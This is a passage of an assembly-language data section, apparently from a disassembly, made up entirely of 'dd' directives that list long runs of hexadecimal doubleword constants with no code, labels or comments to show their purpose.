0EEFE0CDh dd 921FCA95h, 98802A7Eh, 64C2288Ah, 34A90185h, 293F9EC6h dd 1AED6061h, 0A23DE403h, 0DAD49B1Fh, 7898C4BFh, 3B9C0EEDh dd 0C15FD173h, 4162EABEh, 8010BF72h, 3E915429h, 12F09480h dd 0CD2863h, 37B39C40h, 0F60235FEh, 941C298Bh, 0DF1C407Fh dd 2A5E1D25h, 0E3D004Dh, 0B6AA59D2h, 8362110Fh, 5C2EA0E9h dd 9A9B3h, 0DE42D4B0h, 3B7F031h, 78516F00h, 83240CE0h dd 2747008Bh, 93A55D28h, 1A01F44Ah, 6C8FE90Fh, 0F020EA3Eh dd 7A8400FDh, 0EBE381CCh, 64E71034h, 6100F6B8h, 9A4FABFBh dd 1D06426Fh, 3C0A91Bh, 50FCE83Eh, 0EE0909Bh, 0C3FE0283h dd 2A2CF090h, 78160025h, 0FA5BC0Bh, 0DF1AE000h, 45BF09Bh dd 0C6F94127h, 0C0C0D06Fh, 151D43B1h, 1A05A47Bh, 198083FDh dd 0B21D203h, 11785E62h, 99726820h, 8D0E26CEh, 6088012Fh dd 4FF0E163h, 0C76E0EE6h, 0DE83F3h, 491B8DDAh, 9C00B667h dd 7E681164h, 39CA27BAh, 3B819D43h, 46C2EE79h, 0B3F03062h dd 246DE711h, 0AE8C8F00h, 0F1AC38D6h, 80351738h, 3655CA41h dd 48DA191Bh, 0E1D0080h, 4D720638h, 0EB041081h, 8217E09Fh dd 0ACFC8Ch, 8F5A2E13h, 0B0B6029Eh, 9CBC48h, 0F3D3AE32h dd 18CBA3BBh, 18C27051h, 0FAEEA8F4h, 19B36E05h, 0BD0018A5h dd 65FC9374h, 0E2721EC2h, 7C5ECFB1h, 0C17EE940h, 0F900B92Ah dd 771CE871h, 0D95CB7h, 1015FC8Ch, 0B85A6657h, 5687651Dh dd 0BBB2CE80h, 0D5AAF6h, 0B62FD1E3h, 0CF8A2776h, 60B8255Eh dd 67F4FA07h, 6E7530D2h, 1A00410Ah, 31C93A4h, 0A7ABD9h dd 8DE84E9Ch, 5BF2ACFEh, 12C8F81Fh, 8C203F9h, 66E2FCh dd 775DD098h, 0BCDAC646h, 513EDC00h, 27E1A8FEh, 3189C64h dd 88C67895h, 8F4656E0h, 994E6B1Fh, 0BDBA22C2h, 258E6F6h dd 85DCB08Ch, 3800DA01h, 126B69h, 7449477h, 0B86CAF76h dd 9131605h, 1C80658Ch, 94BD63Ah, 0D142E0B4h, 9B832400h dd 200F59Ch, 467BDB99h, 2DD861h, 0A83BB5A2h, 0FADE1C83h dd 5DCF08C9h, 270C7B01h, 0D067D1F6h, 963041A3h, 9B2C21FCh dd 45407D0h, 0C051A948h, 5C82D547h, 501C140Fh, 979C07CCh dd 0D7E906CEh, 1ED2F880h, 0B36441Ah, 1821E41Bh, 80490F2Bh dd 25F53440h, 0E0B8850h, 9052B4F0h, 0F2DA7F40h, 0F17E7BCEh dd 0D24D28C0h, 0A1C08086h, 2F08B6Ch, 52DB0ED1h, 4880A109h dd 86D790FDh, 8100167Fh, 4DE3E46Ah, 0C5A7EAh, 0F90FD479h dd 3EC754CDh, 0E688810Bh, 9FEF071Bh, 0BCA321C0h, 0C33A030Ah dd 50709CB9h, 0F11E8899h, 6F7730F6h, 1B08580Eh, 87C09C6Eh dd 784440Ch, 14D079Ch, 0E08E1EFDh, 0BB0C243h, 7ACC0800h dd 8C37D0ECh, 36D30FDAh, 0B86EBB8Ah, 7D4C9A60h, 0EE6EEE1h dd 27884700h, 0C6ACB251h, 0C46D0004h, 3C53ABE3h, 7AFEBA98h dd 0F837CB03h, 98677D79h, 705DC1Fh, 4D36E3F2h, 9DC6D0BBh dd 8C3FD520h, 0A98B01A7h, 0A2F571BDh, 0FEB1BBC4h, 925101F2h dd 85B928A6h, 23080B7h, 5A0B5BBEh, 83D505D4h, 40AEB34Ch dd 0DC2A47F8h, 260E2762h, 0B9DED461h, 68246008h, 0DCB20367h dd 508DA14h, 11FB28D0h, 0E65C2002h, 881CCAE2h, 3C80D898h dd 4E27ED61h, 33E4F80Fh, 0B2081735h, 0D85B2100h, 6B3EAEF3h dd 70F1004Dh, 8C476EF9h, 2300FC10h, 79DCD653h, 0C061B2BAh dd 1DDAD281h, 0A10035F2h, 0A52C62CCh, 0F605B7EAh, 0BECA0E06h dd 79614E22h, 0E0D41596h, 6A023641h, 0D71C041Bh, 1DACE00Ch dd 59B227AEh, 0EF805C8Fh, 0D2E43F0Fh, 0C1467206h, 6108BC4Ah dd 211421CBh, 7B35EC3Fh, 0EEF43100h, 0D420EBA5h, 8A010370h dd 1CE65AE9h, 56F3D906h, 520DF8Bh, 0D0AAD168h, 0E90485Bh dd 21ED63C0h, 157F214Eh, 3F5C4BBh, 6E85F3DAh, 89C0A30Eh dd 700FC3Eh, 20A92C1Ch, 7329BCDh, 17569A0Ah, 81E89ADCh dd 69E7A657h, 4274E016h, 40076000h, 3DDAFD7h, 0C4B60075h dd 0B85921FDh, 1000E38Fh, 0A623C4Ah, 322B29h, 8D0DB1EFh dd 85E8A36Bh, 5FE71700h, 573ADFEBh, 26CB3C3Fh, 98719A80h dd 4C6253D6h, 0C05F4700h, 8C03723Ah, 21C902BBh, 14E9FF79h dd 0D40A7540h, 66104E60h, 1B17255h, 1CDE35CAh, 6F326DFDh dd 9D43B0h, 0FF505D78h, 9E69EBDBh, 0E3F9F000h, 51D62CB6h dd 0B20D07C3h, 0C6DA5F13h, 0D3285088h, 0F60F044Eh, 83F8DDC9h dd 0C002DB51h, 3CBCD23h dd 55D6F263h, 38BBB564h, 8930A2E0h, 56194CEAh, 728F588h dd 0C3018C08h, 7EF637FCh, 0CA019E56h, 7F13104Eh, 1B8680F3h dd 629AFA40h, 343A5133h, 777E6F23h, 0DD0F4529h, 6A518857h dd 29DB983Bh, 0D400BFE5h, 71641D5Dh, 0C1BED3h, 4D536D77h dd 873D3C76h, 9DA88800h, 3EA26AD5h, 0C1F917FEh, 47460035h dd 63F3D1FFh, 0F1B05C00h, 0C8AE7AF0h, 5924020Fh, 0BD3E9A1Ah dd 159415E0h, 5318C760h, 0E896C8h, 14899C98h, 4CB0EDD1h dd 2725B200h, 5C7DA8Fh, 82D0030h, 864E851Ah, 230B3B55h dd 0F0D94DCh, 84EA207Fh, 0B2ED48h, 625FA43Ah, 127F0F35h dd 65FA99EAh, 4F6F4700h, 8C10AEFh, 341F8E6h, 125FA626h dd 300F3CEBh, 200C222Ch, 0A8CA97B5h, 0C3D70092h, 28BCE44Ah dd 0E80060D5h, 26C827C5h, 98BF6B0Ch, 471F00E5h, 8A76BBEAh dd 0EE000516h, 9896AC90h, 0A014DDh, 0C1852DC6h, 5D296DAAh dd 3A8B4E12h, 22884440h, 263897Bh, 72B5C2Ch, 0C2E0B4D9h dd 6E00A1C2h, 0CD64A2DEh, 7F574Eh, 5D370D83h, 0BD91BC05h dd 70CEC300h, 9BE2E1A1h, 0B65A0072h, 9623F1A5h, 8000C1F3h dd 798A5E09h, 2C82C82h, 8649E21Ah, 94803E53h, 0F1D982Ah dd 0D2697100h, 0E4E1EA7Eh, 24111DA6h, 5F803F87h, 0F08635C2h dd 630971CAh, 29F7D8h, 0A4BF7568h, 0B1E00045h, 3DC87C13h dd 1F00C926h, 35B0DDC3h, 2429FCF3h, 0BC1D9Fh, 0C4E5DE41h dd 0C8375C5Ah, 431078C6h, 6E0D9B91h, 0E1C0106Fh, 3801C04Eh dd 0B01AC709h, 9BAC21EFh, 0B12A3BA1h, 854CC416h, 48411900h dd 4A9D5C52h, 54E3007Fh, 0D01FFB90h, 81D35C3h, 1C1830E7h dd 0F9FAAA10h, 48D103ECh, 3B0444B7h, 8055657Ah, 98B479B2h dd 41A62507h, 3230FA62h, 5BE5E9h, 0FE06531Bh, 0CC437EF5h dd 0AEC6E600h, 0F30BD4Ch, 0E961C6Ch, 3D4F408Ch, 24F7683Ah dd 3E9C8300h, 0A0FD34E2h, 0BBA9000Dh, 1C5749A3h, 648BEC5h dd 8AC80034h, 2630DE80h, 0CDC6006Ch, 0E4E8E07Eh, 357C1E57h dd 5009C73h, 0A60DA2F1h, 1127082h, 0AFAB5CDDh, 30EC90B3h dd 46986E38h, 0E84A1400h, 2C34B880h, 94A800A2h, 6A08BD71h dd 9671DECAh, 637DC901h, 12ED1BECh, 7A00F428h, 7285B13h dd 0E9012467h, 7BD2836Dh, 14D88C9Fh, 0A1A03CD4h, 2201BF03h dd 0A8023EDh, 8300E273h, 3ABE5333h, 0EBC60CAh, 0F0F2036Bh dd 63BD0540h, 26074435h, 9532822h, 9061D520h, 298100E1h dd 13E31842h, 0AC00240Eh, 0A248D13Bh, 0A0BC931Ch, 57B07ACh dd 0FF0DD482h, 97AC040h, 16F222E3h, 0B8400491h, 17711C1h dd 511F06E2h, 80124E34h, 667DE310h, 1A61FDh, 0B7FC62A0h dd 9BB60E60h, 58503427h, 41730731h, 0B0930180h, 948CDAA3h dd 31BC4D1Dh, 2F6A5700h, 24F53Ch, 193022B5h, 4F55C725h dd 8306BF3Dh, 274420A3h, 67FAC80Fh, 7C17005Eh, 0E232BD2Ch dd 8D00A81Ah, 0D95F3FB9h, 1D66020h, 845E4339h, 0F8F07B83h dd 0AD00B8E3h, 0D853FF4Dh, 7EA56D9h, 6B31C97Ch, 0CB137006h dd 7700F527h, 0D02FDF09h, 0F24AFC5h, 0D1EF9B43h, 0E985AEC0h dd 3307D5A9h, 0C9F30D8Dh, 56107DF0h, 0F1B0099h, 0CE942838h dd 0D40353DFh, 9369FE5Eh, 6BE6B855h, 0E7AF001Ch, 3088A1C6h dd 741D7CB9h, 4D80A551h, 2B3B0C53h, 12AC928Ah, 0F2CC6BCh dd 821C74A5h, 0F5CDF1E9h, 3EF91843h, 0A12BF441h, 24001B77h dd 0BF53AFC6h, 0ECFAEF0h, 0F2896EDh, 0F5B73A80h, 94505B1Ah dd 30099D8h, 3846C41Ch, 360848h, 1EDE5EF6h, 686B5D47h dd 30EFF47Bh, 720E7624h, 52B04Bh, 0DF9D916Ch, 0A55008Bh dd 0F29BAA39h, 0FB00C620h, 3876727Eh, 171D3F4h, 0B527556Dh dd 0D0131B0Dh, 3C008B51h, 0F966BCECh, 778CA114h, 7BD8B745h dd 1E60A4EEh, 48F5CBF0h, 0AA0005Eh, 0BD8341A9h, 0B4003E3Ah dd 4E701F54h, 7561A6h, 1794ACF2h, 967260DEh, 0B60055EEh dd 4DD4F1AAh, 1C865Dh, 0C1564B71h, 0E2492210h, 0FB09B7E0h dd 0AEA7DFh, 9FBFE900h, 0D6C100B9h, 30EEAA4Eh, 80B4A2Bh dd 0DDB2BAAEh, 9F77D301h, 0FC0AEDF6h, 933B9249h, 7D241FE4h dd 32ABB180h, 3A43DE12h, 9A002C80h, 0C3E9D617h, 0A5008B44h dd 0F31E1022h, 326008h, 11473304h, 3B259D64h, 0AA2048h dd 8CA0FA3Fh, 16D3168Bh, 0D0CCDBh, 1ABC13C6h, 0BF487C55h dd 4F0100CAh, 0C3A62AD2h, 38C10354h, 702D52BDh, 0AE8AA4E8h dd 0CFD8B063h, 5C02D07Dh, 8EAC00ECh, 0EE263721h, 910558F7h dd 0F8D2F623h, 5C405080h, 865600DFh, 28B8BEBBh, 9600F1D3h dd 0EF3A7F60h, 12F5A284h, 6E5C51h, 43896C6Ch, 6100D9CDh dd 9B56D2B6h, 38EADA8h, 0A9BFE374h, 0C0D0031Ch, 3A2ADF59h dd 1416B4B2h, 4C4485A3h, 0A520D8AAh, 0F003459h, 7F94FEF0h dd 0F67471A6h, 0A9D002C1h, 7C6FDB67h, 0CEF2D60h, 87F1D916h dd 7201305Eh, 0A3EDD86h, 704530h, 0BCD81B31h, 94556AFBh dd 0DC86FA00h, 727166A1h, 3B64001Fh, 0D66B650Fh, 0BE717C0Bh dd 12830700h, 0AEF4FCEFh, 2E0C004Fh, 3E23058Eh, 0BF00725Ch dd 37AA1F3Ah, 7B656Dh, 0B85E581Eh, 8FC30EEFh, 15F5BD00h dd 0B5FB379Fh, 0F41E01E2h, 4B9D4873h, 44070EAh, 0CB89AD08h dd 0DC260091h, 0A74E41E1h, 0EC14B914h, 8E7500A7h, 2E5C817Ah dd 0CB09Bh, 3716C28Fh, 1DF0FA40h, 0D2FCC70Bh, 5848A083h dd 0E8742314h, 4A7F98h, 0CED62412h, 0E19CB47Ah, 68635D00h dd 560ADCC5h, 0B1C628D1h, 0E5D300C4h, 6DF70576h, 0B400DB4Ah dd 0D64C2D35h, 2DF4583h, 302CE25Dh, 39C0895Ah, 883CBC34h dd 778F1FB2h, 3DF6E841h, 530BBA3h, 0C33B008Ch, 82C6180Dh dd 8400B2CAh, 0E3FA5F06h, 8CC5AAh, 6C670B08h, 5869CE05h dd 461D3400h, 0B3C08694h, 0E265046Fh, 80C47733h, 0FD844F24h dd 9D72BF00h, 0D6D980E0h, 3B3C01CAh, 82A4AEDBh, 0FE4DF8BBh dd 1E246758h, 3381E9CEh, 62D0A7AAh, 93F424h, 6720A1A6h dd 0E94D1DFAh, 3DE2700h, 0B4AC2F0Ah, 891E0055h, 116123F4h dd 60041D4h, 9BB7AB86h, 30CD7B15h, 1DE2AA4Bh, 8F03D9ACh dd 63A7D257h, 0B093CCC9h, 0C0A0EC5Fh, 0C2154CE0h, 9E026A00h dd 92D58822h, 8004779h, 2CD020DCh, 0D4E80Fh, 988A6E0Bh dd 0B6285545h, 52ACE00h, 0E1D86FAEh, 8429486Dh, 0B7C45C04h dd 18B08CCFh, 0B076A100h, 3A528D60h, 400C07E4h, 609C486Ah dd 0CFE104FEh, 8E334A00h, 63B092B5h, 0F9D409D1h, 0B800235Dh dd 732C415Bh, 31F9900h, 69812DC4h, 1DE20074h, 7E068C10h dd 6A0076E7h, 0EFDBB6D0h, 1EA263Ch, 46B1446Fh, 808DC78Ah dd 0DD9DCCB8h, 91E44Ch, 0F1562F8Bh, 0C7CEDCE7h, 328CD700h dd 0ADB0AF6Ch, 3240011h, 1497D207h, 6E741E34h, 5CCCCA3Fh dd 6F8B0038h, 98A73B80h, 2CDE790Dh, 72AFF3h, 6D9AC73Eh dd 0A54DD1CEh, 82680020h, 7AC269C0h, 14700073h, 0AC6398DDh dd 0C7003C08h, 808D307Fh, 0B862945h, 0B573FC9Ch, 0ADF02820h dd 5400553Dh, 56EEF32Fh, 33AB02Bh, 808A9C75h, 0F01EF1FCh dd 1640ADBFh, 62B2D406h, 2FE8002Eh, 0A5D5CF63h, 27180DC5h dd 45E8D2B8h, 5B6500A6h, 0B6B73446h, 3374E6CCh, 0B9C94F00h dd 2F872167h, 9A5B0035h, 31EE6150h, 2D7AE006h, 0C24BEC06h dd 7AA3607h, 2071BC83h, 0B018E015h, 44002410h, 9D3D93CAh dd 1C03263Fh, 84862362h, 80ECB4FFh, 315B1B37h, 5201D494h dd 4EBB680Dh, 0BEC2D4h dd 0AE1B6536h, 0EF0EACABh, 0C3808D5Ah, 0EF59DE2h, 100DE3F6h dd 0C18CDB41h, 0FC88C5D4h, 1D006BCEh, 31F44C0Fh, 0E0719C8Eh dd 0C51C0FCFh, 244114BBh, 41BA1B1Fh, 0F0AC8080h, 0C20902CAh dd 0B6724Dh, 0AABCDF9Fh, 710A001Ah, 236DDAFAh, 0CB0C07FBh dd 0B0890225h, 7CEB5C5Eh, 7E8C7F80h, 311F2A80h, 69C0799Fh dd 38237019h, 78F20947h, 14008974h, 0C3F34AB7h, 6D0F4C7Bh dd 0A4935ECAh, 4C03F29h, 0B86BF83Dh, 0D0734Ch, 9B7BADEEh dd 0CAB6BAC3h, 26C4E200h, 0EAF7B3D2h, 0D6D4009Ah, 61955DD3h dd 7648D76Bh, 10850048h, 226DA7A3h, 0F4B7EA13h, 0A50600BFh dd 388E4740h, 697A2F17h, 3C045D7Fh, 0EA145AF5h, 29325FC0h dd 0FFD60307h, 136FF64Ch, 0C8DC2800h, 3F805EFh, 0A53B07D0h dd 0E07E43E5h, 0BAAC6A75h, 8420E407h, 0C8902523h, 115AFB2h dd 7B879AD6h, 0F55EEC8Dh, 0B78020B3h, 0DB88F400h, 466A059Ch dd 0AE7FF9h, 2953A9A6h, 0D2EE3F7Bh, 9BD8E41Eh, 0BB00D45Eh dd 0DE23B733h, 497D0158h, 5DF2F6FEh, 0D2CDF41Bh, 0E8B01172h dd 1AE08409h, 3F5444D4h, 1459AB48h, 3B709B00h, 1073CD04h dd 0EFCF6200h, 26443635h, 281800F2h, 6442DE08h, 712FCC80h dd 135FFCAFh, 0DC0000DBh, 0E1AEB488h, 0A0E29905h, 8A015C9h dd 40814EA6h, 0BF777894h, 0ECB20255h, 3513C097h, 0F6B0C2h dd 83D85141h, 0C9C846Ah, 26815200h, 7EA464F9h, 0D62C0496h dd 0C0723130h, 33CDED68h, 20AFE951h, 18008F28h, 0FF394E6Eh dd 65AD4BE5h, 80BF2873h, 5767B6F4h, 0ED1E98F6h, 3F40CFD6h dd 0D38CD869h, 229F002Fh, 49AD6232h, 9307A694h, 6EDDD63Ah dd 67A07DA0h, 7882003Ch, 774CF737h, 0C3FEB47Fh, 0CAF8C500h dd 18310A84h, 92E43Ch, 0E12B101h, 6A73F6C7h, 0FF20E100h dd 0AB61F7F9h, 717B0B81h, 0C508BA89h, 9CAF0090h, 0C366345h dd 516EB207h, 0E1D212D5h, 16ECE97Bh, 0A300A8BFh, 0C3383C3Bh dd 1B019F9Bh, 76C52146h, 3E305F66h, 0D5830523h, 1DB3DAAh dd 0A7688CF8h, 56CA10CEh, 0B3351EB9h, 0D072805Eh, 0F2D3551Ch dd 0C36CFE00h, 994DEBCh, 6521DBAh, 0E9F08937h, 0C4005C6Ch dd 0ECA48B9Fh, 0E2FA3296h, 2C290109h, 55BD0183h, 896C602Eh dd 0F60BF100h, 0D682E6D4h, 6DEE00E5h, 489808CFh, 89E879DEh dd 9627B700h, 0F6A88690h, 24731Ch, 0E1EEFCD3h, 69976081h dd 96F33F00h, 706FA74Fh, 0ABBD0063h, 0B181C3BEh, 0F70F6405h dd 6156E30Ah, 22C69079h, 97E5BEC8h, 0B8A9FD40h, 2AC40600h dd 0BA21E69Eh, 0C08C3338h, 46F8F720h, 5F004D8Fh, 976CF075h dd 35EF51Ch, 4BC88ACh, 0E0DCFCB0h, 20C04E8Ch, 8EB9EB1Ah dd 40E8968Fh, 628583BAh, 23001074h, 228017E8h, 467B9Bh dd 0EE149A1Dh, 7262DD96h, 6401C1E8h, 770F9771h, 7864BE8Ch dd 335178ACh, 1C1198DEh, 0D26BA1E0h, 183DCE12h, 0C59EA440h dd 0E281091h, 0C0165992h, 0FB80FE9Ch, 27E63DA0h, 230F4833h dd 0A7B60122h, 0C0C07B57h, 0A25EC5h, 66AEF73Eh, 3F60F87Dh dd 2BC20500h, 41521A0Dh, 0E9FE0077h, 9AB32F2Ch, 130251AFh dd 79EA81CDh, 0C0D8E5h, 0FE636168h, 0A6882CC8h, 4D22B500h dd 8BEF9F1Ah, 0FC98C014h, 0FA34FD16h, 38EA1331h, 0C2D5E7Eh dd 0B3372E00h, 42C3C899h, 0E7D6F100h, 0BE05B9FEh, 9E2700C6h dd 0AF0290F7h, 0B51D5288h, 9A017576h, 3EA01B95h, 2FFCD0h dd 430EAFD3h, 0A73148EFh, 9EDD8000h, 0DEE6D234h, 6FF90E99h dd 0B4C776F0h, 1E9D808Eh, 2807076Ch, 62BF9371h, 66C04B25h dd 2D4582h, 246469DDh, 660B4DF5h, 80ACBA38h, 0B0E783BFh dd 16DC0BDh, 981CF0DDh, 0E8D3460Bh, 6F07CDB4h, 0C3BF9982h dd 0A4ECAB41h, 5D427E4h, 96111EA6h, 84DC0024h, 0FEACE88Fh dd 8B36743Eh, 0C026CA72h, 0D4379Ch, 0C0B5D93h, 0E3AF102Fh dd 70679900h, 0C897A8A3h, 0FCB2FEh, 71CDFA8Bh, 0AC837485h dd 95E6651Dh, 897F6F80h, 187DC1E3h, 302E1B5Fh, 39C0F94Bh dd 66C871E8h, 0A2A71C60h, 6D830063h, 4DDE8250h, 4C2FDD00h dd 7E62EAD1h, 0F12B012Ah, 0BA26DA79h, 85E05012h, 0FE00B275h dd 0CAC641E7h, 7E0FDA5h, 766E7D9Ah, 392A409Bh, 25F2139Ch dd 0A338B401h, 0E4F63B34h, 1351C24h, 0A403C024h, 0C0B6672Bh dd 44C127ACh, 16DB096Bh, 92E164DCh, 1CF658B4h, 74983880h dd 33078B79h, 5A404353h, 0B8978801h, 25B51E80h, 7A8DCC5Ch dd 35A42D00h, 10AD3985h, 102E6744h, 5704CAE3h, 72C08E83h dd 0DEBBE04Bh, 0E007004Eh, 29C24F5Ch, 75072D61h, 941B5BDAh dd 6A1F30C0h, 0A2163638h, 29C7FC29h, 8885556h, 449E25B4h dd 288750A2h, 2951624Ah, 0AE222608h, 0C163224Fh, 0B580D905h dd 73D9EE7h, 0D142AAB2h, 1E17B183h, 0F4D7DC0Bh, 0C74BCD00h dd 0C0F6EF63h, 7CFE41Ch, 174ED997h, 0BE18C055h, 6D00B465h dd 0CD8B7D6Fh, 15DC453h, 0EB346228h, 0DCF1FA67h, 0FDF856FFh dd 0C856000h, 68CE5843h, 823D007Dh, 0CFE21A7Ch, 0CC005F22h dd 0C1C536BCh, 4A864Fh, 0FCA0B81h, 0DC2C0E62h, 1D1F9607h dd 9D0E1149h, 982B83FFh, 1FF9C3FEh, 0C06D1710h, 12F245A7h dd 1C544BB5h, 790065C4h, 3ED39FF6h, 38B1CEF9h, 588622EBh dd 10CCE773h, 4BC71E02h, 3CFB2A8h, 1688EA2Ch, 0EF01351Ah dd 68BDDB6Eh, 0EC413B07h, 40203CF1h, 0F87F22h, 32D68CF2h dd 2687EC8Fh, 0E800E8B8h, 0E1626340h, 0ACC884h, 0A7429904h dd 2E0FAABFh, 5A8DC201h, 0BB92494Ah, 754FCCh, 0E2854C9Ch dd 0A20B51Ah, 56A9C024h, 0A032E900h, 724E31BEh, 7349CE1Eh dd 5003D080h, 59003D20h, 6A4BC1C4h, 0F547E8h, 52355D48h dd 22F224F3h, 0D9A922Eh, 6CC8BD00h, 509629h, 0FEAE15EAh dd 0DD84058Ah, 0B9E82D00h, 908FBDE1h, 0C23C0055h, 66A67E5Bh dd 0A1FA941Dh, 490047FEh, 1B57D9B0h, 0B361D1h, 0B82208A8h dd 7FD5DBC2h, 0FD8DC30Fh, 0A374A0B6h, 111942h, 45CE6E88h dd 0BA831EA7h, 0B84DDF24h, 0FB8DEE00h, 1EFC6408h, 8120CCADh dd 70F85D9Dh, 0AE3EE4CFh, 0CD0A300h, 6689AC23h, 0C29D0365h dd 1E02B377h, 5B3781C8h, 470F3B00h, 4F32CD19h, 35B833h dd 0A93CE61Dh, 7A7C9A7Eh, 8CE2C200h, 1699120Fh, 0C040F3D4h dd 438E37h, 0F4F6F230h, 64105218h, 0F7A9AD00h, 7D2CCBD0h dd 16FCF9B7h, 10FD604Fh, 0CFBA569Bh, 8909E6B8h, 2E40648Ch dd 0EE0BA0F8h, 3CACB16h, 9E98DB12h, 7BD9F9B2h, 0FF24E8B4h dd 72009C71h, 4BA2704Dh, 0BA1BF4Ah, 0DB0F5775h, 54C7AA0Eh dd 29E3E055h, 0EC3F184Bh, 0B11000C7h, 99C2A61h, 0AEDB006Ch dd 0D0AB408h, 8B016842h, 3979DF6Eh, 8820761Bh, 18F8008Eh dd 0F669C70h, 90636B6h, 0A89EF985h, 0D5DE0030h, 0C7C62C1Fh dd 43007C49h, 9428C90Bh, 0F6F2F6ACh, 4F7D65h, 0A812E3CAh dd 0D14D61D9h, 3A78B3Ah, 0F7FF2AE1h, 0D7A0807Fh, 0E4A63E17h dd 0D23EB848h, 4D46BA8h, 88B319F4h, 678E402Ah, 321A012h dd 2D30605Eh, 6C93BAB7h, 0FFE3A480h, 0EDF67800h, 9859DA1h dd 0B5BC00F2h, 0A6EF103Dh, 0A071182h, 0ED9E0CB8h, 0D021AD43h dd 0EE8954Ah, 76806C06h, 469A0440h, 7507FFD8h, 0D6423F10h dd 29A23A00h, 72C901DBh, 21A7D07h, 324FFCE4h, 0EEAF340Fh dd 33490E0Ch, 0E1B03907h, 1280F7E0h, 30F00092h, 1CD96084h dd 0EE1FD896h, 0E7C0B15Ch, 168DE028h, 8721000Bh, 0F302DCA0h dd 0AA00B9CAh, 259D7DF8h dd 0BFC215h, 240FC955h, 0EB802A08h, 1C29A43Fh, 0CC726B6h dd 0F3F01810h, 7176AE4h, 0D4ECF9Ah, 1422A09Fh, 8A00CB36h dd 4F92E4Ch, 4150C2h, 0F1A99DCEh, 87B3B066h, 62E8D10Dh dd 6A603060h, 0F05607ABh, 941B4C19h, 0DCF4C055h, 0EC0FFCF9h dd 0A064CA92h, 9752BF31h, 583F0082h, 0D603FB9Eh, 32009A85h dd 0C48BB8Ch, 0EE3C12C1h, 4F830015h, 3E61E8EBh, 0B900AD47h dd 4863147Ch, 6027C3h, 6966BFE3h, 160B17AEh, 0A9C1FA00h dd 26444F28h, 68180061h, 0A30CB6F0h, 0C600EDF2h, 0BFFA2499h dd 0FA9A071Bh, 0E35F0FECh, 0B8873FA9h, 4590B02Fh, 3B7A7131h dd 0FBDCDF01h, 0ED8702A7h, 72DEC8h, 0A85BEF42h, 4BB7E18Fh dd 765F251Ch, 0C1D36800h, 28090C47h, 0DC7F56h, 6C2FFA28h dd 4D9FE689h, 3F69A00h, 0C8465DB3h, 2AF200F0h, 1E9C02F3h dd 0D3008DE2h, 0F84489DCh, 637DC5h, 34F1D9A6h, 5B860550h dd 62F43200h, 0E032DBBh, 8CFC4Dh, 0A206A7B5h, 57F9BC76h dd 3C00CBF4h, 0D2F87C2Dh, 0B04CFCh, 71F2AC24h, 289C4D1Ch dd 6DD5B903h, 4BA5A4h, 29419E10h, 601FBC02h, 0EC000677h dd 6ECB137Fh, 45230A5h, 0DD97A785h, 0BFD3C062h, 0E300419Bh dd 7C8095C6h, 0E3A4CCF1h, 3FCC5F1h, 1BED1C70h, 2A308062h dd 0AE09C1A2h, 0CE7DE8FDh, 23C64F00h, 0D12C75C3h, 130EA1Fh dd 9A0CE1F4h, 3B811633h, 0B1C66900h, 38263F0h, 8474F3Eh dd 5DB8296Bh, 73007CB4h, 229DDB2Dh, 0D61572h, 6B1DA1FFh dd 6C26EB16h, 0EFBE1E00h, 0BDE742B1h, 0D9040015h, 4437760Bh dd 9574516Dh, 6A927007h, 0E510BBDAh, 2C248014h, 52D383h dd 0F4A407E0h, 0B6784759h, 0C406AAE0h, 9C78EF01h, 567D2E98h dd 6F4E001Dh, 0B0A477C7h, 105BD00Eh, 0D4C446F3h, 0C3E74429h dd 8FDA2538h, 0E0AAC66Ah, 5E3F03C8h, 0CA72008Dh, 0F8299A9Bh dd 0FE008F77h, 0CE1DDF97h, 3044070h, 0BBFCBA93h, 22E0D460h dd 0F958E14Ch, 0B226007Eh, 0D378A95Ah, 50580314h, 4A1D4BB0h dd 36EAA4F8h, 91B2200Eh, 5CACA0DAh, 1C5E3C64h, 0C496A9CCh dd 0C033D558h, 1016C3CCh, 812A760Ah, 0E19EBCEBh, 0E2587E03h dd 801FC0B7h, 14153977h, 8A5F1900h, 0DBF33844h, 208A100h dd 0B97CF548h, 30E0670Eh, 0B6F23057h, 0D0008111h, 99CE6C19h dd 631884h, 0E9D80D65h, 7168FE2Ah, 0EFD70B00h, 9872E0B2h dd 75B10015h, 2976CF5Bh, 8A005849h, 20871E48h, 21343EEh dd 2E2DDAC7h, 80FF7072h, 0F1D7AB70h, 493B023Fh, 5C6DBE5Eh dd 80AFD041h, 5D7BF329h, 9C2C47h, 0B422D4C2h, 490F538Fh dd 0E85E2500h, 0A0E93799h, 504BEE4Ah, 1DB780CFh, 6A595Bh dd 0ECB9A6C0h, 18B87640h, 0B641F400h, 0DBC50B58h, 626F0F25h dd 0DE4034E6h, 0A1218D9h, 1589BB00h, 0F7EAA58Fh, 74DA0077h dd 0A6AE4B35h, 0D9FE3EF4h, 0DD2CEF00h, 0DBFFF2Fh, 9A4301AFh dd 4EBAA08Fh, 0DF7EDC81h, 858CA200h, 37EA890Bh, 0C8D075Dh dd 509D0690h, 0FDC487C3h, 8400CB78h, 0D75136DBh, 8CEE40h dd 8196B7Fh, 498568CAh, 0BB79E100h, 64435AC3h, 899B00CBh dd 3132621h, 9AB0B227h, 10230407h, 0E940C8DBh, 0CF6A91h dd 5EA4739Ch, 572ACA2Eh, 44C47114h, 0AF1300B4h, 0BB4683E9h dd 725B1491h, 0E6009CECh, 38A90964h, 0A492FFF9h, 318E0A00h dd 0A096E406h, 70D6E2CCh, 3CE5047Dh, 81298F02h, 5138D207h dd 4243D3B0h, 544072D9h, 0D700A736h, 4EF76774h, 79ACFh dd 0C6C89DC7h, 1B4BF88h, 0B626D700h, 8F940487h, 11732489h dd 75E00778h, 90D5B47Ch, 469EFD44h, 84020D76h, 7253A750h dd 806841CEh, 303D63F4h, 410D37Fh, 2B90D1A5h, 747CD200h dd 0CA5EC53Eh, 9D8401FEh, 0A76D622Ah, 0F8DDD8F9h, 163B2605h dd 858156F6h, 9883BF89h, 0D5AFFA77h, 63B15000h, 2EE8A6F1h dd 5B79002Bh, 26202C62h, 8E0682C2h, 4F323095h, 23250038h dd 945874BCh, 6801E44Eh, 7D417B44h, 0D8AC1B1Fh, 0AF7A0011h dd 69B0F1A4h, 62878C00h, 0DD157174h, 27490089h, 0B1CFFD2Eh dd 7F0B1D35h, 42224h, 0C10FD734h, 4E831EDEh, 0E3E0C045h dd 0E95F528Eh, 3C8A3Bh, 4DDF9EC4h, 39B49F60h, 6E80B767h dd 93187658h, 6002E8Dh, 378E1CE7h, 7412F57Bh, 42F694h dd 971B5D4Dh, 514ADEB2h, 0EE2FF900h, 0BF7ACF19h, 16FE0053h dd 